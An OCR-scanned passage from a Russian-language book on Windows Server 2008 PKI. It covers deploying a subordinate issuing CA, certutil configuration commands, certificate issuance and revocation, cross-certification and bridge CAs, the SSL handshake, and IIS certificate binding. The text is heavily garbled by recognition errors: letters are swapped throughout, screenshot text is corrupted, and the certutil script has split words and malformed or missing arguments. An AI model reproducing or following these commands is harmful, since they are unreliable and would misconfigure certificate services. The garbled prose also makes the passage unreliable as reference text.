Воспользуемся оснасткой Server Manager. Так же как и в предыду
щем примере, выберем добавление роли Active Directory Certificate 
Services . Далее выполняем действия , аналогичные разворачива
нию Root СА до шага Setup Туре. На странице Setup Туре выби
раем Enterprise. На следующей странице выбора тина СА выбира
ем Subordinate СА. На следующей странице указываем настройки 
Private Кеу, аналогичные корневому УЦ. На странице выбора имени 
СА укажем примерно следующее: 

{ P K I - ROOT -СА }  C l a s s  2 Root  Се r t i f i c a t i o n  Au t h o rity . 

В ноле Distinguished name suffix укажем: 

OU=I n f o rmat i o n  S e c u r ity . O = { P K I - R OOT- C A .  } , C = { R U }  

Далее на  странице Certificate Request необходимо выбрать Save 
certificate request и указать путь размещения файла запроса. Тут 
следует учесть, что так как наш корневой Root СА недоступен из до
мена, мы сохраним файл запроса и отправим его на корневой сервер 
(рис. 64). 

Далее нам, как и в предыдущем примере, необходимо указать путь 
к Certificate database. 

На завершающей странице Confirmation проверяем указанные на
стройки. На странице Results ознакомимся с результатами установки 
и необходимыми шагами для ее завершения. 

На этане установки Issuing СА у нас сгенерировался файл запро
са, который нужно отправить на наш корневой центр сертификации, 
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Request Cert ificate from а Parent СА 

Before You Вegin 

Server Roles 

дD CS 

Ro le Ser-1 ices 

Sett..p Туре 

Сд Туре 
Pr ivate Key 

Cryptogreiphy 

Сд Name 

Cert1ficate Request 

Certific�e D�ёibёise 

Confirrмtion 

Progress 

Reя.rlts 

You тау request а Cert if icate for this subordlnate СА directly frorn а parent СА in your пetwork or save the 
request to а f�e and send it Lэter to а parent СА 

r Send а certific�e request to а p8t"ent СА 
Browse Ьу:  (. СА name f Computer name 

Parent CA ' 

r. Save а certifical:e request to F�e and manualy send it later to а parent СА :  
F i l e  n a m e :  lc : \issuiпg .pW. local_!007ЬPКl-ISSUING-CA 1 007d Class 1 Issuing SubCд 1 . 1  � 
ф You ПJ.J5t maпually get а certificate back From the pareпt СА to make this СА operational. 

Рис. 64. Сохранение запроса сертнфнката 

чтобы тот его ноднисал и выдал нам рабочий сертификат. Поэтому 
сканируйте файл занроса, который был создан на странице Certificate 
Request, на корневой СА. На корневом СА вынолните следующее: 
занустите оснастку Certification Authority. Далее выберите секцию 
с именем СА, нажмите Action � АН Tasks � Submit new request. 
В диалоговом окне укажите файл занроса, который бьm сгенерирован 
на этане установки Issuing СА. Тенерь занрос находится в очереди 
ожидания. Перейдите в секцию Pending Requests, выделите нужный 
занрос (он там, скорее всего,  будет единственный), нажмите нравой 
кнонкой и выберите Issue (рис. 65) .  

Далее нерейдите в секцию Issued certificates, откройте сертификат, 
нерейдите на вкладку Details и там нажмите кнонку Сору to file. 
Затем сохраненный файл необходимо неренести на сервер нодчинен
ного УЦ. Корневой УЦ можно отключить от сети. 

Тенерь вернемся на Issuing СА для завершения инсталляции. 
В командной строке вынолним следующие команды: 
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cettsrv - [Cert1Ficatюn Author1ty (Local)\pk1-ROOT-CA\Pend1ng Requests] 

Fili!: дction 'lo'i�':o'll н�lр 

- Certification Authority (Local) 
13 .Jj ph-ROOТ-CA ii1 Revoked Certificates i11 Issued Certificates 

11 1м•ФmМ iil F�iled Requests 

Re uest ID Binar R uest Re uest status Code R est Dis sition Mess е 
Вfl] 2 ----ВEGIN NE" The operatioп comple.  Taken Under SUbmission бft 0/20 1 0  5 : 34 

с= 
Рис. 65. Список запросов сертификатов 

О certutil -addstore Root имя_сохраненного_файла.сrt; 
О certutil -addstore Root имя_сохраненного_файла.сrl , 

где crt - это файл сертификата корневого центра сертификации. Его 
нужно установить для обеснечения доверия этому и другим серти
фикатам в его ценочке. А crl - файл сниска отзыва корневого центра 
сертификации. Его нужно установить для обеснечения возможности 
нроверки сертификатов на отзыв. 

Тенерь можно установить сертификат на сервер СА. Для этого 
снова воснользуемся оснасткой Certification Authority. В оснастке 
выделим имя центра сертификации, нажмите Action � АН tasks � 
Install СА certificate. В открывшемся диалоговом окне укажем файл 
сертификата. Если имнорт нрошел без ошибок, сертификат СА был 
установлен уснешно. И в завершение установки нам необходимо так 
же, как и на корневом УЦ, вынолнить ностустановочный скринт. Его 
основное отличие от нриведенного ранее заключается в том, что здесь 
нроизводится конфигурирование нараметров AD. 
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md  С :  \Се rtData  

се  rtutil  - se t  reg  CA\CR  L P u Ы i c at i o n U R L s  " 6 5 : %wi n d i  r%\system32\Ce rtS  rv\ 

Ce rtEn rol l\%%3%%8%%9 . c r l \ n 6 5 : C : \Ce r t 0 ata\ { P K I - R OOT-CA } _P I CA%%8 . c r l \ n 6 : h t t p : // 

www . { P K I - R OOT-CA } / p k i / {  P K I - R OOT-CA } _ P I CA%%8%%9 . c r l "  

c e r t u t i l  - se t reg  CA\CACe r t P u Ы icatio n U R Ls " 1 : %wi n d i r%\system 32\Ce rtS rv\ 

Ce rtEn rol l\%%1 _%%3%%4 . c rt\n2 : h t t p : //www . { P K I - R OOT-CA } / p k i / {  P K I - R OOT-CA } _  

PICA%%4 . c rt \ n 3 2 : h t t p : //www . { P K I - R OOT-CA } /o c s p "  

c e r t u t i l  - se t reg  CA\Va l i d ityPe r i od U n i t s  5 

c e r t u t i l  - se t reg  CA\Va l i d ityPe r i o d  "Yea r s "  

c e r t u t i l  - se t reg  CA\CR LPe r i od U n i t s  5 

c e r t u t i l  - se t reg  CA\C R LPe riod  " Oays " 

c e r t u t i l  - se t reg  CA\CR LDelta P e r i o d U n i t s  1 2  

c e r t u t i l  - se t reg  CA\C R LDelta P e r i od  " H o u r s "  

c e r t u t i l  - se t reg  CA\CR LOve r l a p P e riod  " Oays " 

c e r t u t i l  - se t reg  CA\CR LOve r l a pU n i t s  1 

c e r t u t i l  - se t reg  Policy\ E n a Ь l e R e q u e s t Exte n s i o n l i s t  + " 2 . 5 . 2 9 . 3 2 "  

C e r t u t i l  - se t reg  CA\csp\ O i s c reteSi g n a t u reAl g o r i t h m  

c e r t u t i l  - se t reg  CA\Au d i t Fi l t e r 1 2 7  

c e r t u t i l  - se t reg\CA\DSCo n fi g  " C N =C o n f i g u  rat i o n , О С = {  P K I - R OOT-CA } , D C= { com } " 

c e r t u t i l  - d s p u Ь l i s h  - f  C : \Ce rtData\ { P K I - R OOT-CA } P I CA . c rt S u bca  

c e r t u t i l  - d s p u Ь l i s h  - f  C : \Ce rtData\ { P K I - R OOT-CA } P I CA . c rt NTAu t h CA 

n e t  stop  c e rtsvc  && n e t  s t a r t  c e rtsvc  

се  rtutil  -CR L 

Итак, наша инфраструктура PKI готова. Зеленый кружочек в на
звании УЦ говорит о том, что инфраструктура функционирует нор
мально. Далее мы поговорим о различных способах выдачи сертифи
катов пользователя, а также о создании доверительных отношений 
между PKI различных организаций. 

Мы немного поговорим о выдаче и отзыве сертификатов, а затем 
перейдем к обсуждению аспектов создания доверительных отноше
ний между PKI организаций. 

Управление сертификатами 
Но начнем с обсуждения выдачи, одобрения и отзыва сертификатов, 
а также публикации списков отозванных сертификатов. Для того что
бы пользователь мог запросить сертификат, ему проще всего восполь
зоваться веб-интерфейсом. Напомню, что в нашей двухуровневой 
инфраструктуре за выдачу сертификатов пользователям отвечают 
УЦ второго уровня. Для запроса сертификата пользователь должен 
обратиться с помощью браузера но следующему адресу: http://IP 
адрес сервера Yll/certsrv. Откроется заглавная страница, на ней вы
берем Request а Certificate (рис. 66). 
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Welcome 

U s e  th 1 s  Web s ite to request а c ettifi c ate for  your Web b rows er ,  e-m a i l  c l i e nt , ог other progra m .  Ву us 1ng а 
c e rtifi cate,  you са п  veпfy your 1 d e ntity to people you commuп 1 cate w1th over the Web , s i g п  and encrypt 
m e s s a g e s ,  a n d ,  depe n d i n g  upon the type of certlf icate you request ,  pe rform other sec urity tasks . 

You сап  a lso use thi s Web site to dowп load а c e rtifi cate autho пty (СА)  c e rtifi cate ,  ce ttifi cate с h а 1 п ,  or 
cett ifi cate revoc ati on l 1 st (CRL) ,  ог to view the status of а pend 1 n g  request .  

For  more 1 nfo rmati o п  about A ctive D i rectory Certifi cate Servi c e s ,  s e e  A ctiye Directory Ceгtificate Servjc es 
Documentati оп . 

Select а tas k :  
Request а certlflcate 
V i ew the status of а pen d i ng ce r11f1 cate request 

Down load а СА ce rtrfr cate cert1 f 1 cate chain ог C R L  
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Рис. 66. Веб-интерфеuс для работы с сертификатами 

j ,. 100% . /, 

Далее необходимо выбрать Advanced Certificate request, для 
того чтобы можно было самостоятельно наменять нараметры 
вынускаемого сертификата. В открывшемся окне можно выбрать 
значение ноля Кеу Options ,  которое будет онределять шаблон 
сертификата. В общем случае можно выбрать шаблон нользова
тельского сертификата - User. Также можно иснользовать шаблон 
сертификата для шифрования EFS ,  административный, агента 
восстановления EFS ,  веб-сервера или нодчиненного УЦ. Помимо 
шаблона, в этом окне еще необходимо онределить кринтонровайде
ра, но умолчанию нредлагается кринтонровайдер от Майкрософт, 
длину ключа, но умолчанию 1024  бит. Также в этом окне можно 
указать несколько донолнительных настроек, таких как возмож
ность экснорта ключа, защита личного ключа, хранилище серти
фиката, формат занроса сертификата, алгоритм хеширования и 
иснользованные атрибуты. Если вам необходимо сохранить занрос 
сертификата в файле, нанример для того , чтобы нередать его на 
флэшке или но электронной ночте, то следует выбрать онцию Save 
request to file (рис. 67) .  
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Microsoft Cer11fi ca te  Seti11 ces -- far!=Jo 1dy le  lan  llome 

Welcome 

U s e  th 1s  Web s 1te to request  а c e rt 1f 1cate for yo u r Web brows er ,  e- m a i l  c l 1 e nt ,  o r  other  program Ву u s 1 ng а 
cert1 f 1 cate , you сап  verify your i dentity to peop le you commun1 cate w1th over the Web , s i gn and e n c iypt messages , 
and ,  dependi n g  u p o n  the typ e  of cert if i cate you requ est, perform other security tasks 

You сап a lso use th 1 s  Web s1te to download а cert1f 1 cate a uthonty (СА) cert1f 1 cate , c e rt1f 1 cate chai n ,  or  cert1f1 cate 
revocat1 on l 1 st (CRL) , or to \Л еw the status of а pend 1 n g  request 

For  more 1 nformati on about C e rtlf1 cate Se1V1 c e s ,  see Cert 1f 1 cate Serv1ces Docum entati on . 

Sel ect а task :  
Request а ce rtifi cate 

V 1 ew the statu s of а ре пd1пg cert1f1 c ate requ est 

D own l o a d  а СА c e rt1f1 cate cert1 f 1 cate cha 1 n  or CRL 

Рис. 67. Запрос сертификата 

В качестве нримера выберем сертификат U ser с ключом 1 024  бит, 
нажмем Submit. На нользовательской стороне действия закончи
лись. 

Тенерь необходимо одобрить или отклонить занрошенный сер
тификат. Это задача администратора УЦ. Для этого нужно открыть 
Administrative Tools � Certification Authority. В открывшемся окне 
выбрать Pending Requests . Здесь мы можем наблюдать наш занрос 
сертификата, находящийся в состоянии ожидания. Нажмем нравой 
кнонкой мыши на нем, выберем Issue. Если занрос сертификата не
обходимо отклонить, то выбираем Deny. 

Итак, наш сертификат вынущен, тенерь, для того чтобы уста
новить данный сертификат, нользователь должен снова зайти на 
http://IP адрес сервера Yll/certsrv, выбрать View The Status Of 
А Pending Certificate Request. Далее нажать на ссылку на занро
шенный сертификат. На странице Certificate Issued необходимо на
жать Install This Certificate, носле чего сертификат будет уснешно 
установлен. 

Замечу, что на машине, с которой занрашивается сертификат, сле
дует включить Cookies. В нротивном случае на странице View The 
Status Of А Pending Certificate Request не будет ничего наказано. 
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В случае необходимости администратор УЦ может в любой мо
мент отозвать выпущенный ранее сертификат. Для этого ему нужно 
в той же консоли Certification Authority выбрать Issued Certificates 
и нажать правую кнопку мыши на отзываемом сертификате, выбрать 
Revoke. При отзыве сертификата следует указать причину отзыва. 
Возможны следующие варианты: компрометация ключа, компромета
ция УЦ, изменение принадлежности, замены, прекращения действия, 
удержания сертификата. 

Завершая тему администрирования PKI, замечу, что, помимо при
веденных выше способов запроса и выпуска сертификатов,  также 
можно воспользоваться консольными утилитами certreq и certutil. 
Certreq позволяет выполнять все действия но запросу сертификатов, 
которые мы выполняли выше с помощью веб-интерфейса. Данная 
утилита может оказаться полезной при ручном запросе сертификата 
с подчиненного УЦ или запросе тестовых сертификатов с нового 
сервера (ведь стоит отметить, что на некоторые виды УЦ мы не уста
навливали веб-интерфейса для работы с сертификатами).  С помощью 
этой утилиты можно решить множество различных задач. Для того 
чтобы более подробно познакомиться с ее функционалом, введите 
certutil /?. 

Доверительные отношения 
Рассмотрев работу но администрированию сертификатов и CRL, пе
рейдем к более сложной теме, а именно к созданию доверительных 
отношений между PKI. 

Когда организация внедряет инфраструктуру PKI, то, как пра
вило, она доверяет лишь сертификатам собственного выпуска. Од
нако существуют также ситуации, когда письма, передаваемые но 
электронной почте, или документы от сторонних организаций имеют 
сертификаты, которым данная организация должна доверять. В та
ких случаях обычно используют доверительные отношения и кросс
сертификацию. В Windows Server 2008 существует несколько методов 
доверительных отношений. 

О Список довереппых сертификатов ( Certificate trust lists, 
CTLs) - это список хешей. Каждый хеш в списке - это публич
ный ключ корневого УЦ. Сам CTL подписан сертификатом вла
дельца данного списка. CTL позволяет администратору указать 
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тины сертификатов с помощью содержимого ноля Extended 
Кеу Usage ( EKU ), которым может доверять этот УЦ. 

О Общий корпевоii УЦ - если две организации имеют иерархию 
УЦ, которая использует общий корневой УЦ, всем сертифика
там в этом общем УЦ доверяют обе организации. В качестве 
альтернативы, если две организации доверяют сертификатам, 
выданным третьей, каждая из этих двух разворачивает свою 
инфраструктуру УЦ, доверяя данной организации. Еще одним 
вариантом является использование сертификата коммерческого 
УЦ, которому будут доверять обе организации. 

О Кросс-сертификация - организация может использовать сер
тификаты, выписанные УЦ другой организации. После вы
пуска сертификата он становится доверенным в иерархии УЦ 
другой организации. При необходимости можно ограничить 
тины сторонних сертификатов,  которые могут являться дове
ренными. 

О Мост УЦ (Bridge СА) - этот метод позволяет многим органи
зациям установить доверие УЦ. Каждая организация выпускает 
сертификаты для общего мостового УЦ, который выпускает 
сертификаты для иерархии УЦ каждой из организаций. 

Список доверенных сертификатов 
Начнем с обсуждения CTL. CTL - это разработанное Майкрософт 
решение для доверия сертификатам других организаций. С помощью 
CTL можно установить ограничения для сертификата корневого УЦ, 
включая срок действия доверенных сертификатов.  Если сертификат 
от �чужой� иерархии УЦ не входит в CTL, данный сертификат будет 
отклонен. В качестве примера настроим использование CTL с по
мощью групповых политик. Обратите внимание на то, что список 
доверенных сертификатов будет действовать только на компьютерах, 
к которым применяется данная групповая политика. 

В качестве небольшого примера рассмотрим содержимое политики 
доверия. Итак, откройте политику, которую необходимо редактиро
вать. Далее необходимо открыть Computer Configuration, Windows 
Settings, Security Settings, PuЬlic Кеу policies , затем Enterprise 
Trust. Далее в меню Action выберите New и Certificate Trust List. 
На странице Certificate Trust List Purpose укажите Valid Duration 
period, срок действия CTL. В списке Designate purposes укажите 
все необходимые опции и затем нажмите Next. Значения Purpose, 
указанные в данном окне, определяют те сертификаты, которые будут 
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считаться доверенными для данного CTL. На странице Certificates 
добавьте один или несколько сертификатов корневого УЦ из файла 
и затем нажмите Next. На странице Signature Certificate нажмите 
Select from Store и затем выберите сертификат с Microsoft Trust List 
Signing application policy О ID. На странице Timestamping вы можете 
выбрать, какой сервер службы времени использовать для CTL. На 
странице Name And Description укажите имя и описание CTL. 

С помощью созданного CTL вы можете ограничить список дове
ренных сертификатов,  например только теми, которые предназначе
ны для подписи сообщений электронной почты. 

Списки доверенных сертификатов CTL удобно использовать в слу
чаях, когда необходимо ограничить доверие к сертификатам опреде
ленными признаками. Теперь рассмотрим другие способы взаимодей
ствия УЦ разных организаций. 

Общий корневой УЦ 
Общий корневой УЦ - это УЦ, который используется двумя или 
более организациями в качестве корневого УЦ. Общий корневой УЦ 
позволяет организациям доверять любому сертификату, выпущен
ному УЦ, который входит в цепочку сертификатов от общего УЦ. 
Когда общий корневой УЦ используется, все сертификаты являются 
доверенными, и значения всех констант определяются подчиненны
ми УЦ. Это означает, что оператор корневого УЦ может выпускать 
сертификаты для подчиненных УЦ для других организаций. Общий 
корневой УЦ может быть развернут с подчиненными УЦ, созданны
ми в двух или более организациях. 

Рассмотрим небольшой пример (рис. 68). 
В этом примере обе организации - ORG1 и O RG2 - установи

ли свои УЦ под общим корневым УЦ. Корневой УЦ необязательно 
должен принадлежать коммерческой организации, такой как VeriSign 
или RSA. В принципе, это может быть корневой УЦ, располагающий
ся в одной из организаций, использующей данный общий УЦ. 

Обсудим преимущества и недостатки использования коммерче
ских УЦ. 

Коммерческие УЦ 
Для начала рассмотрим причины, но которым организация может 
доверить коммерческому УЦ роль корневого сервера своей инфра
структуры PKI. 



380 СРЕДСТВА ЗАЩ ИТЫ 

Издатель: Огg J Ро/ СА 
Субъект: West СА 

ORG I 

Иэдатепь: Root СА 
Субъект: Org 1 Ро/ СА 

Издатель: Root СА 
Субъект: Root СА 

Издатель: Org J Ро/ СА Издатель: Org2Pol СА 
Субъект: Easf СА Субъект: User СА 

Рис. 68. Общий корневой УЦ 
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О Коммерческий УЦ может иснользоваться для увеличения до
верия к сертификатам, вынускаемым данной организацией. 
Наличие такого доверия весьма нолезно, если у вашей орга
низации большая сеть нартнеров , находящихся в разных госу
дарствах и являющихся отдельными юридическими лицами. 
При работе с такими организациями, как нравило, возникают 
трудности с теми требованиями , которые они нредъявляют 
к нартнерским сертификатам. Эти требования могут налагать
ся законодательными и нравовыми нормами тех государств, 
в которых находятся данные организации. Иснользование об
щенризнанного коммерческого УЦ нозволит снять большую 
часть этих нроблем. 

О Еще одним нреимуществом нрименения коммерческого УЦ 
является отсутствие необходимости обеснечения защиты и 
ноддержки корневого УЦ. У организации - владельца ком
мерческого УЦ имеется достаточное количество снециалистов, 
обладающих необходимыми навыками для вынолнения этих 
задач. Так что для небольших организаций иснользование ком
мерческих УЦ может нозволить существенную экономию на 
обслуживании инфраструктуры PKI в целом. 
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Теперь поговорим о недостатках. Не во всех организациях воз
можно использование коммерческих УЦ в качестве корневого УЦ. 
Госструктуры предъявляют повышенные требования к информаци
онной безопасности вообще и к инфраструктуре PKI в частности. 
В соответствии с этими требованиями использование внешнего, а тем 
более иностранного удостоверяющего центра (например, Verisign) не
допустимо, так как данный УЦ не соответствует требованиям этого 
государства. Также не всегда допустимо размещение корневого УЦ 
на сторонней площадке, вне сетевой инфраструктуры данной орга
низации. 

Не стоит еще забывать и о совокупной стоимости владения инфра
структурой PKI. Так, крупной организации может оказаться проще 
самостоятельно поддерживать свою инфраструктуру PKI, при необ
ходимости устанавливая доверительные отношения с инфраструкту
рами PKI комнаний-нартнеров, и соответствовать всем стандартам и 
требованиям, чем тратить деньги на использование коммерческого 
УЦ и иметь связанные с этим проблемы. 

Для того чтобы узнать более подробно об услугах коммерческих 
УЦ, вам необходмо зайти на сайт соответствующих компаний. 

Кросс-сертификация 
Кросс-сертификация позволяет выпускать сертификаты УЦ для ва
шей организации и ваших партнеров. Кросс-сертификация является 
тем связующим звеном, которое позволяет взаимодействовать УЦ 
двух различных организаций. В источнике [2 ]  приводится следую
щий пример кросс-сертификации: УЦ IssuingCA выпускает сертифи
кат для корневого УЦ в иерархии УЦ корпорации Adatum. В резуль
тате кросс-сертификации УЦ Adatum становится подчиненным УЦ 
для IssuingCA. Фактически кросс-сертификация �склеила� иерархию 
УЦ корпорации Adatum с иерархией УЦ Fabrikam (рис. 69). 

Преимущество кросс-сертификации заключается в том, что вам 
не нужно неревынускать какой-либо сертификат для пользова
телей вашей организации. Ваши партнеры просто выбирают УЦ 
в вашей иерархии для получения сертификата с помощью кросс
сертификации. 

Для того чтобы определить критерии для доверия сертификатам, 
выпускающая организация должна определить условия и параметры, 
которые будут использоваться при создании кросс -сертификации. 
В соответствии с условиями этих фильтров доверенными будут счи
таться только те сертификаты, которые им соответствуют. 
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Рис. 69. Кросс-сертификация 
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Стоит также отметить, что кросс-сертификация ноддерживается 
начиная с Windows ХР. Для более ранних версий клиентских онера
ционных систем необходимо иснользовать сниски доверенных сер
тификатов CTL для указания доверенных сертификатов в других 
организациях. 

Мост УЦ 
Альтернативой кросс-сертификации может стать иснользование мос
та УЦ ( Bridge СА). Мост УЦ нозволяет нескольким организациям 
иснользовать сертификаты, вынущенные иерархией УЦ другой ор
ганизации. Дело в том, что кросс-сертификация может быть обреме
нительна, когда существует множество иерархий УЦ, так как в этом 
случае число взаимных сертификатов растет в геометрической нро
грессии. Если имеются иерархии УЦ, будет два сертификата, но если 
иерархий УЦ будет четыре, им нридется обменяться уже двенадцатью 
сертификатами. В какой-то момент возможна ситуация, когда нри
ложение нользователя утратит снособность нроходить эту цень для 
выяснения донустимости возможно легитимного нредъявленного ему 
сертификата, то есть реализация данного нриложения не имеет вы
числительных возможностей для нрохождения цени такой нротяжен
ности. В данном случае решением будет Bridged СА (мостовой УЦ). 
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Отдельный Bridge СА обменивается взаимными сертификатами 
со всеми Root СА имеющихся иерархий. Это уменьшает длину це
почки, которую необходимо пройти приложению, чтобы провести 
аутентификацию сертификата, предъявленного ей извне ее УЦ. Это 
основная причина реализации Bridged СА, однако такая технология 
выгодна потому, что она упрощает аннулирование взаимной серти
фикации. Вместо размещения 1 2  сертификатов необходимо будет 
разместить только один - тот, что выпущен Bridge СА для взаимной 
сертификации. 

Организации, как правило, используют сертификаты мостовых УЦ 
охотнее, чем офлайн УЦ. Это позволяет быстрее получать инфор
мацию об отзыве сертификата, если организация выходит из иерар
хии моста УЦ.  Если сертификат моста УЦ выпущен корневым или 
офлайновым УЦ, список отозванных сертификатов не может быть 
опубликован на продолжительный период, тогда как выпускающий 
УЦ может публиковать CRL ежедневно или еженедельно. 

В зависимости от размеров,  топологии, расположения и структуры 
организации администраторы могут выбрать различные варианты 
взаимодействия УЦ. Далее мы поговорим об использовании PKI на 
основе Windows Server 2008 для работы с различным программным 
обеспечением. 

Ранее мы рассмотрели различные вопросы, связанные с работой 
инфраструктуры открытого ключа. У многих после прочтения пре
дыдущего материала могло сложиться впечатление, что PKI вообще и 
сертификаты в частности являются сами но себе мощным средством 
защиты информации. Однако это не совсем так: инфраструктура 
открытого ключа является лишь средством, позволяющим усилить 
защищенность сети при решении прикладных задач.  Типичными 
прикладными задачами для PKI могут являться использование сер
тификатов при шифровании SSL, электронной подписи документов, 
VРN-соединениях и других задачах. 

Начнем с внедрения SSL-шифрования для веб-серверов,  а затем 
поговорим о защите электронной почты. 

Принцип работы SSL 

Использование шифрования само но себе существенно увеличивает 
защищенность сетевого трафика, так как злоумышленник лишает
ся возможности прослушивания и модификации проходящего. Это 
особенно критично при передаче различных паролей и секретных 
документов. 
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Как известно, используемый веб-серверами но умолчанию прото
кол НТТР не осуществляет шифрования данных между клиентом и 
сервером. Для решения данной проблемы веб-сервер может использо
вать протокол SSL ( Secure Socket Layer), позволяющий осуществлять 
шифрование трафика. Для полноценного функционирования SSL 
необходимы сертификаты и инфраструктура PKI. 

Поговорим о том, как работает протокол SSL. 
В упрощенном виде процесс работы протокола представлен на 

рис . 70. 

о 1 - -· 
Клиент 

Сообщен ие Cl ientHel lo 

Сообще н и е  ServerHello 

Сертифи кат сервера (его публичный ключ) 

Запрос сертификата кл ие нта 

Сертифи кат кл иента 

Сообще н и е  ClientKeyExchange 

Сообщение Certlflcate Verlfy 

Обмен сообщениями ChangeCipherSpec 

Обмен сообщениями Finished 

Рис. 70. Процесс работы протокола SSL 

(1 � 
Сервер 

Кратко поясню приведенное на рисунке. Клиент отправляет сер
веру запрос на установление соединения, сообщая также список под
держиваемых шифров и хеш-функций. Сервер отвечает сообщением, 
содержащим публичный ключ сервера, а также самый сильный из 
предложенных шифров и хеш-функцию. В случае если аутентифи
кация двусторонняя, сервер также запрашивает сертификат клиента. 
Попутно сервер передает клиенту настройки шифрования, исполь
зуемый алгоритм и другие данные. Затем клиент шифрует некоторое 
случайное число с помощью открытого ключа сервера и отправляет 
результат на сервер. Сервер с помощью своего закрытого ключа рас
шифровывает ключ симметричного шифрования. Так устанавлива
ется зашифрованное соединение, и все данные передаются уже но 
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защищенному каналу. При необходимости в процессе работы может 
меняться ключ симметричного шифрования. Если любое из перечис
ленных выше действий не удается, то рукопожатие SSL не удалось, и 
соединение не создается. 

Применительно к веб-серверам НТТРS-соединение выглядит сле
дующим образом: когда пользователь вводит U RL, происходит про
цесс установки SSL-соединения, в результате чего устанавливается 
соединение. Далее веб-сервер передает сертификат браузеру клиента. 
Для аутентификации веб-сервера браузер клиента производит про
верку, включающую в себя проверку цепочки сертификатов , соответ
ствие имени DNS в сертификате, имени в HTTPS U RL, срок действия 
сертификата и не отозван ли он. 

Для осуществления проверки Certificate Revocation List в браузере 
Internet Explorer необходимо включить опцию CRL Checking. Следу
ет отметить, что в версиях браузера до IE 7.0 данная опция выключена. 
Включить данную опцию можно в разделе браузера Tools � Intemet 
Options � Advanced и далее выбрать Check for Server Certificate 
Revocation. Стоит отметить, что в случае если браузеру не удастся 
скачать список отозванных сертификатов , будет получено сообще
ние об ошибке. Если сертификат веб-сервера прошел все проверки 
успешно, браузер извлекает связанный с сертификатом публичный 
ключ. Далее веб-браузер создает предварительный секрет, который со
держит строку, сгенерированную случайным образом. Затем процесс 
аналогичен описанному ранее. Веб-браузер шифрует предваритель
ный секрет публичным ключом веб-сервера и отправляет данные. Веб
сервер расшифровывает предварительный секрет с помощью своего 
секретного ключа. Затем создается защищенное соединение. 

Теперь несколько слов о требованиях к сертификатам для их при
менения в SSL.  При внедрении SSL вам необходимо использовать 
только два тина сертификатов: Web server certificate и Web client cer
tificate. Первый тин сертификатов необходим при внедрении SSL на 
веб-сервере. Данный сертификат обеспечивает шифрование предвари
тельного секрета, когда он передается от клиента к серверу. Вдобавок 
сертификат веб-сервера позволяет клиенту проверять подлинность 
сервера, удостоверяясь в том, что клиент не является взломщиком. Сер
тификат должен включать в себя идентификатор Server Authentication 
object identifier (OID) в ноле расширений Enhanced Кеу Usage. 

Сертификат клиента используется в случаях, когда серверу тре
буется аутентификация клиента. Такая аутентификация не является 
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обязательной, но ее использование увеличивает защищенность со
единения. Данный сертификат также должен включать в себя Client 
Authentication O ID в ноле Enhanced Кеу Usage. 

Настраиваем выпуск сертификатов для доменных 
серверов 
Обсудив различные теоретические аспекты сертификатов для веб
серверов, перейдем непосредственно к их выпуску. Процесс запроса 
и выпуска сертификата веб-сервера может быть различным, в зави
симости от тина устройства, которое запросило данный сертификат. 
При выпуске сертификатов УЦ уровня предприятия имеет значение, 
выпускаются ли сертификаты для веб-серверов, пользователи кото
рых входят в домен, не входят в домен, или же сертификаты выпус
каются для сторонних веб-серверов. 

Сначала рассмотрим выпуск сертификатов для членов домена. 
Пользователь, производящий запрос сертификата, должен входить 
в группу пользователей, обладающих нравами Read и Enroll на шаб
лон сертификата веб-сервера. Также пользователь должен входить 
в группу локальных администраторов на веб-сервере. Это позволит 
сохранять его сертификат в локальном хранилище сертификатов.  

Для запроса сертификата веб-сервера выполняются следующие 
действия: 

1. В консоли Administrative Tools выбираем Intemet Information 
Services (IIS) Manager. 

2. Далее выбираем в дереве имя данного сервера, затем дважды 
нажимаем на Server Certificates .  
В окне будет выведен список уже установленных сертификатов. 
В разделе Actions выбираем Create Domain Certificate 
(рис. 7 1 ) . 

3. Далее заполняем ноля: 
Common Name ( Общее имя ) :  DNSName веб-сайта (где 
DNSName - это полное DNS-имя веб-сайта, такое, какое оно 
указывается клиентом); 
Organization ( Наименование организации) :  наименование 
организации, представленное на веб-сайте; 
Organizational Unit ( Организационная единица) : обычно 
здесь указывается название департамента, управляющего 
веб-сервером; 
City /Locality ( Город/Расположение) :  город, где расположен 
веб-сервер ; 
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State/Province ( Штат/Регион): регион, где расноложен веб
сервер; 
Country /Region (Страна): двухбуквенное сокращение наиме
нования страны (нанример, RU, US ,  UK). 

4. Далее на странице Online Certification Authority нажимаем 
Select. 

5.  На странице Select Certification Authority page выбираем УЦ 
для занроса сертификата. 

6. В завершение на странице Online Certification Authority в ноле 
Friendly Name вводим логическое имя сертификата и жмем 
Finish. 

7. Привязка сертификата к веб-сайту. После занроса сертификата 
нам необходимо вынолнить нривязку нолученного сертификата 
к веб-сайту. Сделать это можно следующим образом: в консоли 
IIS выберите имя сервера, разверните его, затем нажмите Edit 
Bindings. 

8. В окне Site Bindings выберите уже иснользуемые связи с HTTPS: 
если связи с HTTPS уже имеются, выберите нужную и на
жмите Edit; 
если никаких связей нрежде не создавалось, нажмите Add. 

9. В разделе Add Site Binding укажите связь Туре to HTTPS. 
Укажите онределенный IР-адрес или неонределенные IР
адреса, укажите норт ( 443), затем в сниске сертификатов вы
берите нужный сертификат, с именем, которое мы указывали 
ранее (рис. 72) .  
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Рис. 72. Связывание сертификата с веб-саuтом 

10 .  Настройка веб -сервера для включения SSL-шифрования для 
веб-сайта или виртуального каталога. Для вынолнения этой 
финальной нроцедуры сделаем следующее: 

в консоли IIS выберите имя сервера, разверните его,  затем 
выберите целевой сайт; 
в разделе SiteName Ноте page дважды нажмите на SSL 
Settings. 

1 1 . В разделе SSL Settings выберите Require SSL, укажите Require 
128-Ьit SSL, затем в сниске Actions нажмите Apply. 

Выпуск сертификатов для серверов, не входящих в домен 
Тенерь нерейдем к обсуждению вынуска сертификатов для веб
серверов, не являющихся членами домена Active Directory. Для вы
нуска сертификатов для серверов, не входящих в домен, нельзя на
нрямую нередать занрос в УЦ Windows Server 2008. Вместо этого 
занрос на сертификат должен быть сохранен в файле формата PKCS 
#10 и нередан в УЦ сотрудником унравляющей организации. Стоит 
отметить, что этот нроцесс схож с тем, когда вы нередаете занрос на 
сертификат веб-сервера к коммерческому УЦ (нанример, VeriSign) .  

Для установки сертификата вынолним следующие шаги: 

1 .  Создать занрос сертификата веб-сервера. Для этого необходимо 
в консоли IIS выбрать имя сервера, далее дважды нажать на 
Server Certificates. В разделе Actions выбрать Create Certificate 
Request. 

2.  В ноле Distinguished Name укажите имя сертификата. Здесь 
нужно быть особо внимательными, так как в случае, если вы 
укажете неверное DNS-имя, нользователи будут нолучать со
общения об ошибках нри нонытках соединиться с вашим веб
сайтом. 
